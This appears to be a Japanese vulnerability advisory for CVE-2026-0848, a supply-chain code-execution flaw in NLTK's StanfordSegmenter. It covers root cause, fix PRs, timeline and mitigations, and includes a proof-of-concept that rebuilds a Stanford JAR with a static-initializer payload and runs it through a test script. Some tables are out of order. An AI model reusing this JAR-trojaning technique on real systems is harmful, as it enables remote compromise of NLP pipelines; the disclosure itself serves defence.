
| フィールド | 詳細 |
|---|---|
| CVE ID | CVE-2026-0848 |
| パッケージ | nltk (Natural Language Toolkit) |
| レジストリ | PyPI |
| 影響を受けるバージョン | <= 3.9.2 |
| 脆弱性タイプ | CWE-20: 不適切な入力検証 |
| CVSSスコア | 10.0 (Critical) |
| 攻撃元区分 | ネットワーク |
| 攻撃複雑性 | 低 |
| 必要な特権 | なし |
| ユーザー操作 | なし |
| スコープ | 変更あり |
| 機密性への影響 | 高 |
| 完全性への影響 | 高 |
| 可用性への影響 | 高 |
| 報告日 | 2025年12月6日 |
| CVE公開日 | 2026年3月 |
| 支援元 | Palo Alto Networks / Prisma AIRS |
nltk.tokenize.StanfordSegmenter は、整合性の検証、署名チェック、サンドボックス化を一切行わずに、subprocess を介して外部の Java .jar ファイルを動的に読み込みます。このクラスは、path_to_jar、path_to_model、path_to_dict、java_class など、攻撃者が完全に制御できるパラメータを受け入れ、それらを java -cp 呼び出しに直接渡します。
攻撃者が、毒化されたモデルのダウンロード、中間者攻撃によるパッケージのすり替え、依存関係への毒入れ、または改竄されたリリースミラーを通じて JAR ファイルを供給または置換できる場合、JVM の静的初期化子メカニズムにより、クラス読み込み時に任意の Java バイトコードが実行されます。これは サプライチェーン型リモートコード実行(RCE) の脆弱性であり、Python ランタイムを完全に脱出します。
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
悪用に成功すると、攻撃者は NLTK の分節処理を実行しているシステムを完全に制御できます:
Runtime.getRuntime().exec() や ProcessBuilder を呼び出して、任意のシェルコマンドを実行できます| シナリオ | 影響 |
|---|---|
| ML 研究者がインターネットから学習済みセグメンタを読み込む | リモートの攻撃者がコード実行を得る |
| 組織が改竄された中国語分節モデルの ZIP をダウンロードする |
この脆弱性は、StanfordSegmenter を使用するあらゆる NLP ワークフロー(チャットボット、LLM 前処理パイプライン、データセットの分節処理、文書分類、本番推論サービスなど)に影響を及ぼします。
この情報は、教育および防御目的でのみ提供されています。所有していないシステム、または明示的なテスト許可を得ていないシステムに対してテストを行わないでください。
cd stanford-segmenter-2020-11-17/merged
jar xf ../stanford-segmenter-4.2.0.jar
rm -rf edu/stanford/nlp/ie/crf/CRFClassifier.class
cat << 'EOF' > edu/stanford/nlp/ie/crf/CRFClassifier.java
package edu.stanford.nlp.ie.crf;
public class CRFClassifier {
static {
try {
System.out.println("\nPayload executed — Code ran on class load!\n");
Runtime.getRuntime().exec("touch /tmp/pwned_hijack");
} catch(Exception e){}
}
public static void main(String[] args){}
}
EOF
javac edu/stanford/nlp/ie/crf/CRFClassifier.java
jar cfm exploit.jar META-INF/MANIFEST.MF *
cp exploit.jar ../stanford-segmenter.jar
mkdir merged && cd merged
javac Payload.java
jar xf ../stanford-segmenter-4.2.0.jar
jar xf ../stanford-corenlp-4.2.0/stanford-corenlp-4.2.0.jar
jar cfm exploit.jar META-INF/MANIFEST.MF *
jar uf exploit.jar Payload.class
cp exploit.jar ../stanford-segmenter.jar
cd ..
# test.py
from nltk.tokenize.stanford_segmenter import StanfordSegmenter
print("[+] Triggering payload via modified Stanford JAR...")
seg = StanfordSegmenter(
path_to_jar="stanford-segmenter.jar",
path_to_sihan_corpora_dict="./data/",
path_to_dict="./data/dict-chris6.ser.gz",
path_to_model="./data/pku.gz",
java_class="edu.stanford.nlp.ie.crf.CRFClassifier",
encoding="utf-8"
)
print("[+] Running segmentation...")
print(seg.segment("我爱自然语言处理"))
出力:
[+] Triggering payload via modified Stanford JAR...
Payload executed — Code ran on class load!
[+] Running segmentation...
我 爱 自然语言 处理
RCE の確認:
ls /tmp | grep pwned_hijack
# pwned_hijack
この脆弱性は次の 2 つのファイルに存在します:
stanford_segmenter.py — StanfordSegmenter クラスのコンストラクタは、path_to_jar、path_to_model、path_to_dict、java_class をプレーンな文字列引数として受け入れ、以下のいずれも実行せずに Java 実行レイヤーへ直接転送します:
java_class パラメータの検証internals.py — java() ヘルパーは、ユーザーが指定したクラスパスで subprocess.Popen() 呼び出しを構築して起動します。JVM は提供された JAR 内のすべてのクラスを即座に読み込み、アプリケーションロジックが実行される前に静的初期化子ブロックを実行します。サンドボックスも整合性チェックも、注入されたバイトコードの実行を防ぐメカニズムもありません。
この脆弱性は、アップストリームの NLTK リポジトリで完全に修正されています。
| リソース | リンク |
|---|---|
| 統合セキュリティ修正(全 CVE) | https://github.com/nltk/nltk/pull/3522 |
| 研究者による最初の修正 PR | https://github.com/nltk/nltk/pull/3477 (マージ済み) |
PyPI で入手可能になり次第、修正済みバージョンの NLTK にアップグレードしてください。
pip を使用したアップグレード:
pip install --upgrade nltk
インストール済みバージョンの確認:
python -c "import nltk; print(nltk.__version__)"
このリポジトリは、CVE-2026-0848 を教育、研究、および防御的セキュリティの目的に限定して文書化しています。概念実証コードと技術的詳細は、開発者、セキュリティエンジニア、システム管理者がこの脆弱性を理解、評価、および修復するのを支援するために提供されています。
この情報を、明示的な許可なくシステムへのアクセスや侵害に使用することは、違法かつ非倫理的です。著者は、本書に含まれる情報の誤用について一切の責任を負いません。
貢献者: ketanHub
| ファイル | 行 | 説明 |
|---|
nltk/tokenize/stanford_segmenter.py | L53–L118 | 攻撃者が制御可能な path_to_jar、path_to_model、path_to_dict、java_class を検証なしで受け入れる |
nltk/internals.py | L220–L300 | ユーザーが制御する JAR パスとクラスパスで Java を直接起動する。サンドボックス化やチェックサム検証は行われない |
nltk/internals.py | L109–L152 | subprocess.Popen() が未検証のクラスパス入力で Java を実行し、JVM が任意のバイトコードを読み込んで静的初期化子を実行できるようにする |
| メトリクス | 値 |
|---|
| 攻撃元区分 | ネットワーク |
| 攻撃複雑性 | 低 |
| 必要な特権 | なし |
| ユーザー操作 | なし |
| スコープ | 変更あり |
| 機密性 | 高 |
| 完全性 | 高 |
| 可用性 | 高 |
| 本番 NLP パイプライン内でマルウェアが実行される |
CI/CD サーバーが非 HTTPS ミラーから wget/unzip でモデルをインストールする | 環境全体が侵害される |
| 依存関係の乗っ取りまたは毒化されたリリースミラー | 完全なサプライチェーン型 RCE |
| アクション | 詳細 |
|---|
| NLTK のアップグレード | PR #3522 の修正を含む 3.9.2 より新しいバージョンに更新する |
| ユーザー制御の JAR パスを使用しない | ユーザー入力を path_to_jar、path_to_model、java_class 引数に影響させない |
| JAR の整合性を検証する | 使用前に、ダウンロードした JAR ファイルの SHA-256 チェックサムを公式に公開されたハッシュと常に照合する |
| HTTPS ソースのみを使用する | モデルファイルと JAR は公式の HTTPS ソースからのみダウンロードし、HTTP や未検証のミラーは拒否する |
| 最小特権 | NLTK ベースのサービスを、ファイルシステムとネットワークの権限が最小限の制限された OS ユーザーで実行する |
| コンテナ化 | NLP サービスを Docker コンテナや同様のサンドボックスに隔離し、JAR ベースの悪用による影響範囲を限定する |
| 依存関係の監視 | ソフトウェア構成分析ツールを使用して、CI/CD パイプライン内で改竄または置き換えられた JAR 依存関係を検出する |
| 日付 | 出来事 |
|---|
| 2025年12月6日 | 研究者 hyperps1(Sarvesh Patil)が huntr.dev に脆弱性を報告 |
| 2025年12月 | huntr.dev 経由で NLTK メンテナチームに通知 |
| 2026年1月 | NLTK メンテナが脆弱性を検証し、開示報奨金が授与される |
| 2026年1月 | CVE-2026-0848 が採番される |
| 2026年1月 | 研究者による修正 PR #3477 が提出され、マージされる |
| 2026年2月 | 公開前 48 時間の事前通知が NLTK メンテナに送付される |
| 2026年3月 | CVE が NVD と huntr.dev で公開される |
| 2026年3月 | 全 CVE に対する統合セキュリティ修正が PR #3522 でマージされる |
| リソース | リンク |
|---|
| NVD エントリ | https://nvd.nist.gov/vuln/detail/CVE-2026-0848 |
| 公式 CVE レコード | https://cve.org/CVERecord?id=CVE-2026-0848 |
| huntr.dev レポート | https://huntr.dev |
| 統合修正 PR | https://github.com/nltk/nltk/pull/3522 |
| 研究者による修正 PR | https://github.com/nltk/nltk/pull/3477 |
| PyPI の NLTK | https://pypi.org/project/nltk/ |
| Stanford Word Segmenter | https://nlp.stanford.edu/software/segmenter.html |
| OWASP — 任意コード実行 | https://owasp.org/www-community/attacks/Code_Injection |
| OWASP — 信頼できない検索パス | https://owasp.org/www-community/vulnerabilities/Unsafe_use_of_Reflection |
| CWE-20: 不適切な入力検証 | https://cwe.mitre.org/data/definitions/20.html |
| CWE-502: 信頼できないデータのデシリアライゼーション | https://cwe.mitre.org/data/definitions/502.html |